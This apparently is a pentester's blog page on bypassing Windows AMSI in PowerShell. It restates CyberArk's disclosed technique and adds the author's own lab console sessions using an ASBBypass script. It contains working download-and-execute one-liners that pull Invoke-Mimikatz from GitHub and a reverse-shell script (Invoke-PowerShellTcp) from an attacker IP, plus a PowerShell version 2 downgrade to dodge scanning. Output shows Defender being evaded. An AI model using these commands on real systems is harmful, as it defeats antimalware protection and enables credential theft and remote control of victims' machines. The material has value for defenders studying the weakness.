AMSI bypass

In this blog post, we introduce a technique that can help attackers run malicious code over Microsoft Windows 10 (Version 1607) using PowerShell (version 5). CyberArk alerted Microsoft to the weakness, and while Microsoft issued a patch in version 1709, organizations that haven’t implemented the fix remain at risk.

The technique can be carried out on unpatched systems by running code straight from memory while bypassing the Microsoft AMSI (Antimalware Scan Interface) protection giving attackers the ability to run malicious code over a victim’s machine without being detected.

Background

As described in the Microsoft Developer Network (MSDN), AMSI is a generic interface standard that allows applications and services to integrate with any antimalware product present on a machine. It provides enhanced malware protection for users and their data, applications and workloads.

See Figure 0 for details on where AMSI sits.

Figure 0- AMSI Architecture Courtesy of MSFT

AMSI is antimalware vendor agnostic, designed to allow for the most common malware scanning and protection techniques provided by today’s antimalware products that can be integrated into applications. It supports a calling structure allowing for file and memory or stream scanning, content source URL/IP reputation checks, and other techniques.

By default, AMSI works with Microsoft Defender to scan relevant data. Windows Defender will unregister itself from being an “AMSI Provider” and shut itself down when another AV engine registers as an “AMSI Provider.”

In this research, the bypass technique exploits the fact that AMSI’s protection is provided at the same level on which the threat operates. AMSI is implemented as a Dynamic-link library (DLL) that is loaded into every PowerShell session. In the same level of this session, a potentially malicious code (AMSI’s bypass code) can be executed.

AMSI & PowerShell

Starting with Windows 10, AMSI by default provides protection to PowerShell, which is a very strong system tool used by both system administrators and attackers.

A few important things to note:

  • AMSI protects PowerShell by loading AMSI’s DLL (amsi.dll) into the PowerShell’s memory space.
  • AMSI protection does not distinguish between a simple user with low privileges and a powerful user, such as an admin. AMSI loads its DLL for any PowerShell instance.
  • AMSI scans the PowerShell console input by using Windows Defender to determine whether to block the payload operation or allow it to continue.

See it in Action

PS C:\users\jacco> amsiscanbuffer
At line:1 char:1
+ amsiscanbuffer
+ ~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS C:\users\jacco> $ExecutionContext.SessionState.LanguageMode
FullLanguage

Let’s see what happens when we try to obtain a malicious Mimikatz payload into the PowerShell session by using the Net.Webclient->DownloadString method and the iex (Invoke-expression) cmdlet, which invokes the downloaded string into the PowerShell session:

Figure 9- AMSI and Defender protects against the new malicious payload submissions

As you can see, the Defender pops up and blocks the string (payload) from being invoked. If we try to look for the obtained Mimikatz function (by using the get-item function), we can’t find it.

After loading our AmpsiDumpsi.dll using the Obtainer, we can see the obtained Mimikatz function, while no Defender alerts have popped up:

PS C:\pentest> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/mas ter/data/module_source/credentials/Invoke-Mimikatz.ps1')
PS C:\pentest> get-item function:

Figure 10- Bypassing the AMSI protection, new Mimikatz payload submitted into the process memory

Summary

This research demonstrates how a bypass can be utilized on unpatched systems via PowerShell, regardless of a user’s privileges.

The advantages of the technique presented here are that amsi.dll is loaded in every PowerShell process; the API call for the AmsiScanString is performed regularly; and AMSI seems to be working correctly. Because of this, you’re only able to see that it actually doesn’t operate as it should if you protect the DLL in memory or examine its code at runtime.

For this reason, it’s important that organizations push this patch to all systems to avoid unnecessary risk.

Powershell 2 doesn’t include AMSI, so if powershell version 2 installed we could also use :

PS C:\Users\jacco\Documents> powershell -version 2 -command "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.20/Invoke-PowerShellTcp.ps1')"

References

(Editor’s Note:  Microsoft has since changed the way AMSI handles PowerShell sessions. Please read our more recent blogfor an update on this topic.)

See rasta-mouse ’s solution in action

I 1st compiled amsi.dll with VisualStudio 2015 and copied amsi.dll and ASBBypass.ps1 to c:\pentest

PS C:\Windows\system32> Set-MpPreference -DisableRealtimeMonitoring $false
PS C:\Windows\system32> Set-MpPreference -DisableIOAVProtection $false

PS C:\pentest> IEX(New-Object Net.Webclient).downloadString('http://192.168.178.15/powerview.ps1')
IEX : At line:1 char:1
+ #requires -version 2
+ ~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
At line:1 char:1
+ IEX(New-Object Net.Webclient).downloadString('http://192.168.178.15/p ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand

PS C:\pentest> .\ASBBypass.ps1
True
PS C:\pentest> IEX(New-Object Net.Webclient).downloadString('http://192.168.178.15/powerview.ps1')
PS C:\pentest> amsiscanbuffer
amsiscanbuffer : The term 'amsiscanbuffer' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try
again.
At line:1 char:1
+ amsiscanbuffer
+ ~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (amsiscanbuffer:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException


c:\Python37>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.178.15 - - [22/May/2019 21:16:22] "GET /powerview.ps1 HTTP/1.1" 200 -

Author: Jacco Straathof